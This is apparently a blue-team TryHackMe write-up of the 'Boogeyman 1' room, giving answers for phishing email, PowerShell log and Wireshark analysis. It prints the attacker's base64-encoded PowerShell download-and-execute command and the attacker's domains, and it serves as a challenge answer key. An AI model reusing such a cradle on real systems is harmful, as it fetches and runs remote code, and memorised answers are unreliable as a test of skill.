BoogeyMan 1 -TryHackMe Write-up

Blue Team Challenge Room — Part of THM SOC Level 1 Capstone Challenge

This is a write-up for the challenge BoogeyMan in THM room, which provides practice in phishing email analysis, windows event log analysis, and network log analysis using Wireshark.

Task 1 — [Introduction] New threat in town

In this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.

Prerequisites

This room may require the combined knowledge gained from the SOC L1 Pathway. We recommend going through the following rooms before attempting this challenge.

• Phishing Analysis Fundamentals
• Phishing Analysis Tools
• Windows Event Logs
• Wireshark: Traffic Analysis
• Tshark: The Basics

Investigation Platform

Before we proceed, deploy the attached machine by clicking the Start Machine button in the upper-right-hand corner of the task. It may take up to 3–5 minutes to initialise the services.

The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page.

Artefacts

For the investigation proper, you will be provided with the following artefacts:

• Copy of the phishing email (dump.eml)
• Powershell Logs from Julianne’s workstation (powershell.json)
• Packet capture from the same workstation (capture.pcapng)

Note: The powershell.json file contains JSON-formatted PowerShell logs extracted from its original evtx file via the evtx2json tool.

You may find these files in the /home/ubuntu/Desktop/artefacts directory.

Tools

The provided VM contains the following tools at your disposal:

• Thunderbird — a free and open-source cross-platform email client.
• LNKParse3 — a python package for forensics of a binary file with LNK extension.
• Wireshark — GUI-based packet analyser.
• Tshark — CLI-based Wireshark.
• jq — a lightweight and flexible command-line JSON processor.

To effectively parse and analyse the provided artefacts, you may also utilise built-in command-line tools such as:

• grep
• sed
• awk
• base64

Now, let’s start hunting the Boogeyman!

Task 2 — [Email Analysis] Look at that headers!

The Boogeyman is here!

Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.

The security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.

Q1: What is the email address used to send the phishing email?

To answer this, I opened dump.eml file located under the artefacts located on the Desktop via ThunderBird mail client.

Answer: agriffin@bpakcaging.xyz

Q2: What is the email address of the victim?

Answer: julianne.westcott@hotmail.com

Q3: What is the name of the third-party mail relay service used by the attacker based on the DKIM-Signature and List-Unsubscribe headers?

First,I got the full message headers by clicking View > Message Source

As shown in the above picture, then I paste the header in Message Header analyzer

Answer: elasticemail

Q4: What is the name of the file inside the encrypted attachment?

As seen below the picture there is an attachment: Invoice.zip, which i saved and then extract it.

Answer: Invoice_20230103.lnk

Q5: What is the password of the encrypted attachment?

From before pictures like this one

You can see the password mentioned as a code for the encrypted file:

Answer: Invoice2023!

Q6: Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field?

I ran the command line lnkparse for the unziped file Invoice_20230103.lnk

Answer: aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==

Task 3 — [Endpoint Security] Are you sure that’s an invoice?

Q1: What are the domains used by the attacker for file hosting and C2? Provide the domains in alphabetical order. (e.g. a.domain.com,b.domain.com)

For this one i ran the command:

cat powershell.json | jq -s -c ‘sort_by(.Timestamp) | .[]’| jq ‘{ScriptBlockText}’| sort | uniq

Answer: cdn.bpakcaging.xyz,files.bpakcaging.xyz

Q2: What is the name of the enumeration tool downloaded by the attacker?

Answer: seatbelt

Q3: What is the file accessed by the attacker using the downloaded sq3.exe binary? Provide the full file path with escaped backslashes.

Answer: C:\Users\j.westcott\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

Task 4— [Network Traffic Analysis] They got us. Call the bank immediately!

Q1: What software is used by the attacker to host its presumed file/payload server?

Open the capture.pcapng file in Wireshark and search for HTTP requests sent to the file/payload server (files.bpakcaging.xyz)

Answer: Python

Q2:What HTTP method is used by the C2 for the output of the commands executed by the attacker?

Answer: POST

Q4: What is the password of the exfiltrated file?

I used the filter below in Wireshark

-http contains “sq3.exe”- and followed the TCP stream

Then the above characters I pasted in CyberChef for decryption

Answer: %p9³!lL^Mz47E2GaT^y

That’s all for this room

Thank you:)